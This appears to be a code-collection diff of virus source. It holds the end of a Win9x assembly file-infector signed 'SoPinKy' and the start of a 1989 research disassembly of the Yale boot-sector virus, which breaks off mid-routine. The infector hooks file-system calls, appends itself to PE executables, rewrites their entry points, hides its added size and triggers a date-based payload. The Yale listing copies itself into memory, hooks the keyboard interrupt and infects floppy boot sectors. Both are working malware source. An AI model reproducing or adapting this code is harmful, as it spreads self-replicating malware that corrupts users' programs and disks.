pusha +;;;;;Calcule the Offset where beguin the data + Call SIGGFILEHOOK +SIGGFILEHOOK: + Mov EDI,ESP + Mov EAX,DWord Ptr SS:[EDI] + Inc ESP + Inc ESP + Inc ESP + Inc ESP +;;EAX=offsed de CALL SIGG + sub eax,2 ;for the sti and the pusha + sub eax,5 ;del call + sub eax,OFFSET_ABS_FILE_HOOKED + mov ebp,eax + +;EBP=Base of Data + mov eax,ebp ;if the flag de SDF_OCUPADO=1, them the IF + + mov eax,ebp ;;if the SDF_OCUPADO=1 them the FSD may works normals + add eax,OFFSET_ABS_SDF_OCUPADO; + cmp BYTE PTR [EAX],1 + je SALTO_A_OLD_IFS_INTERNO + +prosesa: + mov eax,esp + add eax,24h ;20 is for the Pusha + ;+4 for have the parameter..y must skyp return ptr + cmp DWORD PTR ss:[EAX+4],36 ;if a file is open?.... hehehe + je LEE_FILE + +;;////it is optionals!!! + cmp DWORD PTR ss:[EAX+4],2 ;if it is for stealth?? + je Stealth +;;////it is optionals!!! + cmp DWORD PTR ss:[EAX+4],38 ;if it is for stealth?? + je Stealth + + +jmp SALTO_A_OLD_IFS_INTERNO + +LEE_FILE: +;;;;;;;Activaction +;;;;;;;See if the date is for activation + push eax + mov al,8 ;;;mes + out 70h,al + in al,71h + mov bl,al + mov al,7 ;;;dia + out 70h,al + in al,71h + mov bh,al + +;;;;;DX=DAY:MONTH + cmp bx,0112h + je ACTIVO + cmp bx,0312h + je ACTIVO + cmp bx,0512h + je ACTIVO + cmp bx,0712h + je ACTIVO + cmp bx,0912h + je ACTIVO + cmp bx,1112h + je ACTIVO + cmp bx,1312h + je ACTIVO + cmp bx,1512h + je ACTIVO + cmp bx,1712h + je ACTIVO + cmp bx,1912h + je ACTIVO + cmp bx,2112h + je ACTIVO + cmp bx,2312h + je ACTIVO + cmp bx,2412h + je ACTIVO + cmp bx,2412h + je ACTIVO + jmp NO_ACTIVO + +ACTIVO: + inc byte ptr [ebp+OFFSET_ABS_CONTFLAG] + cmp byte ptr [ebp+OFFSET_ABS_CONTFLAG],30 + jne noactperflag + mov byte ptr [ebp+OFFSET_ABS_CONTFLAG],0 + + mov eax,ebp + add eax,OFFSET_ABS_MSGC + cmp BYTE PTR [eax],'#'+1 + jne ya_esta_desencriptado + mov ecx,32 +desencrp_MSGC: + dec BYTE PTR [eax] + inc eax + dec ecx + jnz desencrp_MSGC + + mov eax,ebp + add eax,OFFSET_ABS_MSG + mov ecx,105 +desencrp_MSG: + dec BYTE PTR [eax] + inc eax + dec ecx + jnz desencrp_MSG + + +ya_esta_desencriptado: + cli + PATCH8 LABEL FAR + int 20h + DW 0003h + DW 0001h ;Get VM + mov eax, 00001000h + mov ecx, OFFSET_ABS_MSG + mov edi, OFFSET_ABS_MSGC + mov esi, 0 + mov edx, OFFSET_ABS_REFDATA + ADD ecx,ebp + ADD edi,ebp + ADD edx,ebp + PATCH9 LABEL FAR + int 20h + DW 04h + DW 17H + sti +noactperflag: + pop eax + jmp SALTO_A_OLD_IFS_INTERNO +NO_ACTIVO: + pop eax + + +;;Get the name of File + mov eax,DWORD PTR ss:[EAX+20] + mov edi,DWORD PTR ss:[EAX+44] + mov ecx,256 + mov ax,0000h ;until the end of the name + cld + repnz SCASW + jnz NO_ES_PE_EXE + mov eax,edi + sub edi,8 ;Go to the beguin od the extencion + cmp WORD PTR ss:[EDI],0045h + je PASO + cmp WORD PTR ss:[EDI],0065h + je PASO + jmp NO_ES_PE_EXE +PASO: + add edi,2 + cmp WORD PTR ss:[EDI],0058h + je PASO2 + cmp WORD PTR ss:[EDI],0078h + je PASO2 + jmp NO_ES_PE_EXE +PASO2: + add edi,2 + cmp WORD PTR ss:[EDI],0045h + je ES_EXEexe + cmp WORD PTR ss:[EDI],0065h + je ES_EXEexe + jmp NO_ES_PE_EXE + +ES_EXEexe: +;;Dont infect the conagent.exe!!! + xor ecx,ecx + mov edi,eax + sub edi,12 + cmp WORD PTR ss:[EDI],0054h + je es_igual_T + cmp WORD PTR ss:[EDI],0074h + jne no_es_igual_T + +es_igual_T: + inc ecx +no_es_igual_T: + + sub edi,2 + cmp WORD PTR ss:[EDI],004eh + je es_igual_N + cmp WORD PTR ss:[EDI],006eh + jne no_es_igual_N + +es_igual_N: + inc ecx +no_es_igual_N: + + sub edi,6 + cmp WORD PTR ss:[EDI],0041h + je es_igual_A + cmp WORD PTR ss:[EDI],0061h + jne no_es_igual_A +es_igual_A: + inc ecx +no_es_igual_A: + sub edi,6 + cmp WORD PTR ss:[EDI],0043h + je es_igual_C + cmp WORD PTR ss:[EDI],0063h + jne no_es_igual_C +es_igual_C: + inc ecx +no_es_igual_C: + cmp ecx,4 + je NO_ES_PE_EXE + + +;;;Pass unicoide name to ascii + mov eax,esp + add eax,20h ;is for pusha + add eax,4 + mov eax,DWORD PTR ss:[EAX+20] ;;Address of ioreq + mov edi, DWORD PTR ss:[EAX+44];;Address of ir_Path + +;;Pass to ascii + mov eax,ebp + add eax,OFFSET_ABS_file_EXE + +buclecpy: + mov bx,WORD PTR [EDI] + cmp bx,0 + je listocpy + mov byte ptr [eax],bl + inc eax + add EDI,2 + jmp buclecpy +listocpy: + mov word ptr [eax],0 ;;set a Null to the end + + + +;;ok it is a .EXE file + mov eax,ebp + add eax,OFFSET_ABS_file_EXE + mov esi,eax +;EAX the handle of victims + CALL OPEN_FILE + cmp eax,30 + jb malopen + mov DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA],EAX + + mov ebx,eax ;;save the handle in ebx + mov ecx,5 + mov edx,59 ;;Get the NewHead + mov esi,ebp + add esi,OFFSET_ABS_NiniH + CALL READ_FILE + +;;i have: +;;EBX==>HANDLE +;;DWORD PTR [ebp+OFFSET_ABS_NiniH].MINIHead.DirPE==>ptr newhead + + mov ecx,24 + mov edx,DWORD PTR [ebp+OFFSET_ABS_NiniH].MINIHead.DirPE + mov esi,ebp + add esi,OFFSET_ABS_PEHEAD + CALL READ_FILE + + CMP WORD PTR [ebp+OFFSET_ABS_PEHEAD].PEH.maggic,4550h + jne NO_ES_PE_EXE_YCIERRO + +;;compruve if it is a executale + mov ax,WORD PTR [ebp+OFFSET_ABS_PEHEAD].PEH.caracteristic + and ax,000000010b + cmp ax,0 + je NO_ES_PE_EXE_YCIERRO + +;;i look for if it a .DLL + mov ax,WORD PTR [ebp+OFFSET_ABS_PEHEAD].PEH.caracteristic + and ax,10000000000000b + cmp ax,0 + jne NO_ES_PE_EXE_YCIERRO + +;;if infected?? + CMP BYTE PTR [ebp+OFFSET_ABS_NiniH].MINIHead.IS_INFECTED,8 + je YA_ESTA_INFECTADO + + + +;;ok here is a PE no infected +;;we have: +;;EBX==>HANDLE +;;DWORD PTR [ebp+OFFSET_ABS_NiniH].MINIHead.DirPE==>ptr newhead + +;;get the optional head + mov ecx,60 + mov edx,DWORD PTR [ebp+OFFSET_ABS_NiniH].MINIHead.DirPE + add edx,24 + mov esi,ebp + add esi,OFFSET_ABS_PEOHEAD +CALL READ_FILE + + +;;Serch for section to infect + mov edx,DWORD PTR [ebp+OFFSET_ABS_NiniH].MINIHead.DirPE + add edx,24 + xor ecx,ecx + mov cx,WORD PTR [ebp+OFFSET_ABS_PEHEAD].PEH.SieoffOH + add edx,ecx ;; me situo en la section data + +;;;EDX=SECTION HEAD + xor ecx,ecx + xor ebx,ebx + +;;;Read section +serchseccion: + push ecx + push ebx + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + mov ecx,40 + mov esi,ebp + add esi,OFFSET_ABS_SECTION_DUMMY + CALL READ_FILE + pop ebx + pop ecx + + + mov eax,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+36] + cmp ax,0040h ;Is a data segment?? + jne Proccima_seccion + cmp ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+20] + ja Proccima_seccion + mov DWORD PTR [ebp+OFFSET_ABS_DUMMY],edx + mov ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+20] + +Proccima_seccion: + inc cx + cmp cx,WORD PTR [ebp+OFFSET_ABS_PEHEAD].PEH.NofSections + je listoserch + add edx,40 ;next sections + jmp serchseccion +listoserch: + + mov edx,DWORD PTR [ebp+OFFSET_ABS_DUMMY] + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + mov ecx,40 + mov esi,ebp + add esi,OFFSET_ABS_SECTION_DUMMY + CALL READ_FILE +;;In EDX i have the addres to the secction for infect + mov edx,DWORD PTR [ebp+OFFSET_ABS_DUMMY] + push edx ;;save the address + + +;;Get the size of File + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + CALL GET_FILE_SIZE + mov ebx,eax + sub ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+20];;pointer to rawdata + + add ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+12];;;virtadress + add ebx,OFFSET_ABS_SALTOTRUEEP + add ebx,DWORD PTR [ebp+OFFSET_ABS_PEOHEAD].PEOH.IMAGEBASE + mov eax,DWORD PTR [ebp+OFFSET_ABS_PEOHEAD].PEOH.IMAGEBASE + add eax,DWORD PTR [ebp+OFFSET_ABS_PEOHEAD].PEOH.EntryPointHEHEHE +;;;EAX=addres to the Entry Point + sub eax,ebx + sub eax,5 +;;save the addres to return to the host + mov DWORD PTR [ebp+OFFSET_ABS_SALTOTRUEEP+1],eax + +;;COPY The CRIATURE HAHAhehejejeje + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + CALL GET_FILE_SIZE + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + mov ecx,SIZE_VIRUS + mov edx,eax + mov esi,ebp + CALL WRITE_FILE + + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + CALL GET_FILE_SIZE +;;;eax=Size of infected file + mov ecx,eax + mov ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+20] + sub ecx,ebx + mov ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+16] + +;;Set the new size + mov DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+8],ecx + mov DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+16],ecx + +;;ebx=size of thw old sectors +;;ecx=size of the new sectors + sub DWORD PTR [ebp+OFFSET_ABS_PEOHEAD].PEOH.zizeofinitdata,ebx + add DWORD PTR [ebp+OFFSET_ABS_PEOHEAD].PEOH.zizeofinitdata,ecx + + + mov ebx,eax + sub ebx,SIZE_VIRUS + +;;ebx=addres in reference to the beguin + sub ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+20];;pointer to rawdata + +;;ebx=addres in reference to the segment base + add ebx,DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+12];;;virtadress + +;;ebx=address where charge my segments + add ebx,OFFSET_ABS_WinMain2 ;;por ultimo le sumo el offset el EP + +;;Set the new Entry point + mov DWORD PTR [ebp+OFFSET_ABS_PEOHEAD].PEOH.EntryPointHEHEHE,ebx + + +;;Is time to GET THE CONTROL + +;;Save all reformed +;;PEHEAD + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + mov ecx,24 + mov edx,DWORD PTR [ebp+OFFSET_ABS_NiniH].MINIHead.DirPE + mov esi,ebp + add esi,OFFSET_ABS_PEHEAD + CALL WRITE_FILE + +;;;;;PEOHEAD +;;;;;set the size of new image to charge + add DWORD PTR [ebp+OFFSET_ABS_PEOHEAD].PEOH.SizeOfImagen,SIZE_VIRUS + xor ecx,ecx + mov ecx,60 + mov edx,DWORD PTR [ebp+OFFSET_ABS_NiniH].MINIHead.DirPE + add edx,24 + mov esi,ebp + add esi,OFFSET_ABS_PEOHEAD + CALL WRITE_FILE + +;;;;;SECTOR HEAD +;;;;;Set the sector characteristic + mov DWORD PTR [ebp+OFFSET_ABS_SECTION_DUMMY+36],0c0000040h +;;get the addres saved..... + pop edx + mov ecx,40 + mov esi,ebp + add esi,OFFSET_ABS_SECTION_DUMMY + CALL WRITE_FILE + +;;sign the file as infected + mov BYTE PTR [ebp+OFFSET_ABS_NiniH].MINIHead.IS_INFECTED,8 + mov edx,59 + mov ecx,5 + mov esi,ebp + add esi,OFFSET_ABS_NiniH + CALL WRITE_FILE + +;;Close the file an go... + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + CALL CLOSE_FILE + jmp SALTO_A_OLD_IFS_INTERNO + +NO_ES_PE_EXE_YCIERRO: +YA_ESTA_INFECTADO: + mov ebx,DWORD PTR [ebp+OFFSET_ABS_HANDLE_VICTIMA] + CALL CLOSE_FILE + + +malopen: +NO_ES_PE_EXE: + jmp SALTO_A_OLD_IFS_INTERNO + SALTO_A_OLD_IFS_INTERNO: + popa + SALTO_A_OLD_IFS: + DB 0e9h + DD 0000 + + +;;;;;;;;;;;;;;* It is a optional Plus *;;;;;;;;;;;;;;;; + +Stealth: + popa + push ebp + mov ebp,esp + push dword ptr [ebp+1ch] + call dword ptr [ebp+08] + mov esp,ebp + pop ebp + pusha + + Call StSIGGFILEHOOK +StSIGGFILEHOOK: + Mov EDI,ESP + Mov EAX,DWord Ptr SS:[EDI] + Inc ESP + Inc ESP + Inc ESP + Inc ESP + sub eax,OFFSET_ABS_Sthealth+13h + mov ebp,eax + + + + cmp dword ptr [esp+8h+20h],2 + je FindAndFindNext + cmp dword ptr [esp+8h+20h],26h + je FindF + + +NumberPre DD 0 + +FindF: + mov eax,[esp+18h+20h] + add eax,44 ;;poiter to path + mov edi,dword ptr [eax] + + mov eax,ebp + add eax,OFFSET_ABS_file_EXE + xor ecx,ecx +StFFbuclecpy: + mov bx,WORD PTR [EDI] + cmp bx,0 + je StFFlistocpy + mov byte ptr [eax],bl + inc eax + inc ecx + add EDI,2 + jmp StFFbuclecpy +StFFlistocpy: + + mov word ptr [eax],0 ;;agrego caracter nulo + cmp byte ptr [eax-4],'.' + jne NoesFile + + cmp byte ptr [eax-3],'e' + je pasolae + cmp byte ptr [eax-3],'E' + jne NoesFile +pasolae: + cmp byte ptr [eax-2],'x' + je pasolax + cmp byte ptr [eax-3],'X' + jne NoesFile +pasolax: + cmp byte ptr [eax-1],'E' + je esFile + cmp byte ptr [eax-1],'e' + jne NoesFile + jmp esFile +NoesFile: + cmp byte ptr [eax-1],'\' + je listobarra + mov byte ptr [eax],'\' + inc ecx + +listobarra: + mov [ebp+OFFSET_ABS_NumberPre],ecx + mov eax,[esp+18h+20h] + mov ebx,[eax+14h] + mov ecx,ebx + add ecx,2ch ;; ecx = nombre ptr + add ebx,20h ;; ebx = size ptr + + push ebx + push ecx + jmp Ready + +esFile: + + mov eax,[esp+18h+20h] + mov ebx,[eax+14h] + + add ebx,20h ;; ebx = size ptr + + mov dword ptr [ebp+OFFSET_ABS_NumberPre],0 + + push ebx + mov eax,ebp + add eax,OFFSET_ABS_file_EXE ;; ecx = nombre ptr + jmp Open + + + +FindAndFindNext: + mov eax,[esp+18h+20h] + mov ebx,[eax+14h] + mov ecx,ebx + add ecx,2ch ;; ecx = nombre ptr + add ebx,20h ;; ebx = size ptr + + push ebx + push ecx + + + + +ready: ;;aqui tiene que estar push size... push nombre unicode + mov edi,ecx + mov ecx,256 + mov ax,0000h ;asta el fin del nombre + cld + repnz SCASW + jnz StNO_ES_PE_EXE + mov eax,edi + sub edi,8 ;me voy al comienzo de la extencion + cmp WORD PTR ss:[EDI],0045h + je StPASO + cmp WORD PTR ss:[EDI],0065h + je StPASO + jmp StNO_ES_PE_EXE +StPASO: + add edi,2 + cmp WORD PTR ss:[EDI],0058h + je StPASO2 + cmp WORD PTR ss:[EDI],0078h + je StPASO2 + jmp StNO_ES_PE_EXE +StPASO2: + add edi,2 + cmp WORD PTR ss:[EDI],0045h + je StES_EXEexe + cmp WORD PTR ss:[EDI],0065h + je StES_EXEexe + +StNO_ES_PE_EXE: + pop ebx + pop ecx + popa + ret + + +StES_EXEexe: + pop ecx ;; ecx = nombre ptr + mov edi,ecx ;;paso a unicode + mov eax,ebp + add eax,OFFSET_ABS_file_EXE + add eax,[ebp+OFFSET_ABS_NumberPre];;;;;;;;;; + push eax +Stbuclecpy: + mov bx,WORD PTR [EDI] + cmp bx,0 + je Stlistocpy + mov byte ptr [eax],bl + inc eax + add EDI,2 + jmp Stbuclecpy +Stlistocpy: + mov word ptr [eax],0 ;;agrego caracter nulo + pop eax ;;eax=Name ascii + sub eax,[ebp+OFFSET_ABS_NumberPre];;;;;;;;;; + +Open: + mov esi,eax + Call OPEN_FILE + cmp eax,30 + jnb OpenGewd + Call OPEN_FILE_IN_CONTEXT + cmp eax,30 + jnb OpenGewd + + add esi,[ebp+OFFSET_ABS_NumberPre];;;;;;;;;; + Call OPEN_FILE + cmp eax,30 + jnb OpenGewd + Call OPEN_FILE_IN_CONTEXT + cmp eax,30 + jnb OpenGewd + + + Jmp FueraStErrorOpen + + +OpenGewd: + mov ebx,eax ;;guardo el handle en ebx por cuestiones practicas + mov ecx,1 + mov edx,59 ;;;CArGo La DireCCion Al NewHead en OFFSET_ABS_DUMMY + mov esi,ebp + add esi,OFFSET_ABS_NiniH + CALL READ_FILE + + + pop eax ;; en eax = size ptr + + CMP BYTE PTR [ebp+OFFSET_ABS_NiniH].MINIHead.IS_INFECTED,8 ;;compruebo que no esta infectado + jne FueraStandClose + sub dword ptr [eax],SIZE_VIRUS + +FueraStandClose: + CALL CLOSE_FILE + popa + ret + +FueraStErrorOpen: + +FueraSt: + pop ebx + popa + ret + + +;///////////////////////////////ENDP/////////////////////////////////// +FIN_CODE: +SIZE_CODE = (OFFSET32 FIN_CODE-OFFSET32 BEG_CODE) +SIZE_DATA = (OFFSET32 FIN_DATA-OFFSET32 BEG_DATA) +SIZE_VIRUS=(SIZE_CODE+SIZE_DATA) +OFFSET_INT20 =(OFFSET32 Nueva_int-OFFSET32 BEG_DATA) +OFFSET_VECTTOR_IRQ=(OFFSET32 vector_irq-OFFSET32 BEG_DATA) +OFFSET_A_SALTO_A_OLD_IRQ=(OFFSET32 SALTO_A_OLD_IRQ-OFFSET32 BEG_DATA) +OFFSET_A_SALTO_A_OLD_IFS=(OFFSET32 SALTO_A_OLD_IFS-OFFSET32 BEG_DATA) +OFFSET_ABS_FILE_HOOKED =(OFFSET32 FILE_HOOKED -OFFSET32 BEG_DATA) +OFFSET_ABS_Sthealth=(OFFSET32 Stealth -OFFSET32 BEG_DATA) +OFFSET_ABS_NumberPre=(OFFSET32 NumberPre -OFFSET32 BEG_DATA) +OFFSET_ABS_file_EXE=(OFFSET32 file_EXE-OFFSET32 BEG_DATA) +OFFSET_ABS_SDF_OCUPADO=(OFFSET32 SDF_OCUPADO-OFFSET32 BEG_DATA) +OFFSET_ABS_DUMMY=(OFFSET32 DUMMY-OFFSET32 BEG_DATA) +OFFSET_ABS_NiniH=(OFFSET32 NiniH-OFFSET32 BEG_DATA) +OFFSET_ABS_PEHEAD =(OFFSET32 PEHEAD - OFFSET32 BEG_DATA) +OFFSET_ABS_PEOHEAD=(OFFSET32 PEOHEAD - OFFSET32 BEG_DATA) +OFFSET_ABS_SECTION_DUMMY=(OFFSET32 SECTION_DUMMY - OFFSET32 BEG_DATA) +OFFSET_ABS_HANDLE_VICTIMA=(OFFSET32 HANDLE_VICTIMA - OFFSET32 BEG_DATA) +OFFSET_ABS_WinMain2=(OFFSET32 _WinMain2 - OFFSET32 BEG_DATA) +OFFSET_ABS_REALEP=(OFFSET32 REALEP - OFFSET32 BEG_DATA) +OFFSET_ABS_RING0INSTALER=(OFFSET32 CuerpoDelVirusEnRING0 - OFFSET32 BEG_DATA) +OFFSET_ABS_SALTOTRUEEP=(OFFSET32 SALTOTRUEEP - OFFSET32 BEG_DATA) +OFFSET_ABS_MSG=(OFFSET32 MSG - OFFSET32 BEG_DATA) +OFFSET_ABS_MSGC=(OFFSET32 MSGCAPTION - OFFSET32 BEG_DATA) +OFFSET_ABS_REFDATA=(OFFSET32 REFDATA - OFFSET32 BEG_DATA) +OFFSET_ABS_CONTFLAG=(OFFSET32 CONTFLAG - OFFSET32 BEG_DATA) +_DATA ENDS +END + + + + by SoPinKy.. Made in Argentina. + diff --git a/y/YALE-ASM.ASM b/y/YALE-ASM.ASM new file mode 100755 index 0000000..53751cf --- /dev/null +++ b/y/YALE-ASM.ASM @@ -0,0 +1,365 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + page 65,132 + title The 'Yale' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Yale' Virus +; Disassembled by Joe Hirst, April 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The virus consists of a boot sector only on a floppy disk. + ; The original boot sector is kept at track thirty-nine, head zero, + ; sector eight. + + ; The disassembly has been tested by re-assembly using MASM 5.0 + ; Note that this does not create an identical program, as the original + ; appears to have been assembled with A86 + + ; MASM would not assemble the instruction at offset 003CH (7C3CH) + ; This instruction is undefined on an 8088/8086, and illegal + ; on a 80286/80386. + + ; The program requires an origin address of 7C00H for the first sector + ; to load and run as a boot sector + + ; System variables are defined in either RAM or BOOT (or both) + ; depending on the segment used by the program + +RAM SEGMENT AT 400H + + ; System RAM fields + + ORG 13H +BW0413 DW ? ; Total RAM size + ORG 17H +BB0417 DB ? ; Key toggles + ORG 72H +BW0472 DW ? ; System reset word + +RAM ENDS + +BOOT SEGMENT AT 0 + + ; Interrupt addresses + + ORG 24H +BW0024 DW ? ; Interrupt 9 offset +BW0026 DW ? ; Interrupt 9 segment + ORG 64H +BW0064 DW ? ; Interrupt 19H offset +BW0066 DW ? ; Interrupt 19H segment + + ; System RAM fields + + ORG 410H +DW0410 DW ? ; System configuration + ORG 413H +DW0413 DW ? ; Total RAM size + + ; BIOS field + + ORG 0E502H +DWE502 DW ? + +BOOT ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + + ASSUME CS:CODE,DS:NOTHING + +START: CLI + XOR AX,AX ; \ Set SS to zero + MOV SS,AX ; / + MOV SP,7C00H ; Set stack before boot area + STI + ASSUME DS:RAM + MOV BX,0040H ; \ Address RAM area + MOV DS,BX ; / + MOV AX,BW0413 ; Get size of RAM + MUL BX ; Convert to paragraphs + SUB AX,07E0H ; Subtract address after boot area + MOV ES,AX ; Target segment + ASSUME DS:CODE + PUSH CS ; \ Set DS to CS + POP DS ; / + CMP DI,3456H ; Simulated system reset? + JNE BP0010 ; Branch if not + DEC GENNUM[7C00H] ; Decrement generation number +BP0010: MOV SI,SP ; \ Address boot sector area + MOV DI,SI ; / + MOV CX,0200H ; 512 bytes to move + CLD + REPZ MOVSB ; Copy virus to high core + MOV SI,CX ; Address offset zero + MOV DI,7B80H ; Address interrupt save area + MOV CX,0080H ; 128 bytes to move + REPZ MOVSB ; Save first 32 interrupt pointers + CALL BP0030 ; Install interrupt 9 routine + PUSH ES ; \ Transfer to high core +; POP CS ; / + DB 0FH ; This is the previous instruction + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV BX,SP ; Address boot sector area + MOV DX,CX ; A-drive, head zero + MOV CX,2708H ; Track 39, sector 8 + MOV AX,0201H ; Read one sector + INT 13H ; Disk I/O +BP0020: JB BP0020 ; Loop on error + JMP BP0190 + + ; Install interrupt 9 routine + +BP0030: DEC DW0413 ; Decrement RAM size + MOV SI,OFFSET BW0024 ; Address INT 9 pointer + MOV DI,OFFSET INT_09+7C00H ; Target far jump + MOV CX,4 ; 4 bytes to copy + CLI + REPZ MOVSB ; Copy far address + MOV BW0024,OFFSET BP0050+7C00H ; Install new offset + MOV BW0026,ES ; Install new segment + STI + RET + + ; Ctrl-Alt-Del depressed - acknowledge keyboard signal + +BP0040: IN AL,61H ; Get port B + MOV AH,AL ; Save current state + OR AL,80H ; Turn top bit on + OUT 61H,AL ; Set port B + XCHG AL,AH ; Get original state + OUT 61H,AL ; Reset port B + JMP SHORT BP0110 + + ; Format table for track 39, head zero, 8 sectors (unused) + + DB 027H, 000H, 001H, 002H + DB 027H, 000H, 002H, 002H + DB 027H, 000H, 003H, 002H + DB 027H, 000H, 004H, 002H + DB 027H, 000H, 005H, 002H + DB 027H, 000H, 006H, 002H + DB 027H, 000H, 007H, 002H + DB 027H, 000H, 008H, 002H + + ; Rubbish + + DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H + DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H + DB 011H, 011H, 011H + + ; Interrupt 9 routine + +BP0050: PUSHF + STI + PUSH AX + PUSH BX + PUSH DS + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states + IN AL,60H ; Get keyboard token + MOV AH,AL ; Save keyboard token + AND AX,887FH + CMP AL,1DH ; Was key Ctrl? + JNE BP0060 ; Branch if not + MOV BL,AH ; Save Ctrl key state + JMP SHORT BP0080 + +BP0060: CMP AL,38H ; Was key Alt? + JNE BP0070 ; Branch if not + MOV BH,AH ; Save Alt key state + JMP SHORT BP0080 + +BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed? + JNE BP0080 ; Branch if not + CMP AL,17H ; Is key I? + JE BP0100 ; Branch if yes + CMP AL,53H ; Is key Del? + JE BP0040 ; Branch if yes +BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states +BP0090: POP DS + POP BX + POP AX + POPF + DB 0EAH ; Far jump to original INT 9 +INT_09 DW 0E987H, 0F000H + + ; Pass on Ctrl-Alt-I + +BP0100: JMP BP0240 ; Ctrl-Alt-I + + ; Ctrl-Alt-Del depressed - main processing + +BP0110: MOV DX,03D8H ; VDU mode control address + MOV AX,0800H ; Delay eight cycles + OUT DX,AL ; Disable display + CALL BP0250 ; Delay + MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states + MOV AL,3 ; Mode three + INT 10H ; VDU I/O + MOV AH,2 ; Set cursor address function + XOR DX,DX ; Row zero, column zero + MOV BH,DH ; Page zero + INT 10H ; VDU I/O + MOV AH,1 ; Set cursor size function + MOV CX,0607H ; Cursor lines 6 to 7 + INT 10H ; VDU I/O + MOV AX,0420H ; Delay 4 cycles + CALL BP0250 ; Delay + CLI + OUT 20H,AL ; End of interrupt + MOV ES,CX ; Address segment zero + MOV DI,CX ; Address offset zero + MOV SI,7B80H ; Address interrupt save area + MOV CX,0080H ; 128 bytes to move + CLD + REPZ MOVSB ; Restore first 32 interrupt pointers + MOV DS,CX ; Address zero + MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset + MOV BW0066,CS ; Install Int 19H segment + ASSUME DS:RAM + MOV AX,0040H ; \ Address RAM area + MOV DS,AX ; / + MOV BB0417,AH ; Set key toggles off + INC BW0413 ; Restore RAM size + PUSH DS + ASSUME DS:BOOT + MOV AX,0F000H ; \ Address BIOS + MOV DS,AX ; / + CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H? + POP DS + JE BP0120 ; Branch if yes + INT 19H ; Disk bootstrap + +BP0120: DB 0EAH ; Far jump to BIOS routine + DW 0E502H, 0F000H + + ; Interrupt 19H routine + + ASSUME DS:BOOT +BP0130: XOR AX,AX ; \ Set DS to zero + MOV DS,AX ; / + MOV AX,DW0410 ; Get system configuration + TEST AL,1 ; Is there a floppy disk + JNZ BP0150 ; Branch if yes +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + CALL BP0030 ; Install interrupt 9 routine + INT 18H ; Basica (IBM only) + +BP0150: MOV CX,4 ; Retry four times +BP0160: PUSH CX ; Save retry count + MOV AH,0 ; Reset disk sub-system + INT 13H ; Disk I/O + JB BP0170 ; Branch if error + MOV AX,0201H ; Read one sector + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV BX,7C00H ; Boot sector buffer + MOV CX,1 ; Track zero, sector one + INT 13H ; Disk I/O +BP0170: POP CX ; Retrieve retry count + JNB BP0180 ; Branch if no error + LOOP BP0160 ; Retry + JMP BP0140 + +BP0180: CMP DI,3456H ; Simulated system reset? + JNE BP0200 ; Branch if not +BP0190: DB 0EAH ; Far jump to boot sector area + DW 7C00H, 0 + +BP0200: MOV SI,7C00H ; Boot sector area + MOV CX,OFFSET INT_09 ; Length to compare + MOV DI,SI ; Virus offset + PUSH CS ; \ Set ES to CS + POP ES ; / + CLD + REPZ CMPSB ; Is boot sector infected? + JE BP0220 ; Branch if yes + INC ES:GENNUM[7C00H] ; Increment generation number + MOV BX,7C7AH ; Address format table + MOV DX,0 ; Head zero, drive zero + MOV CH,27H ; Track 39 + MOV AH,5 ; Format track + JMP SHORT BP0210 ; This line was probably an INT 13H + + JB BP0230 ; Error branch for deleted INT 13H +BP0210: MOV ES,DX ; 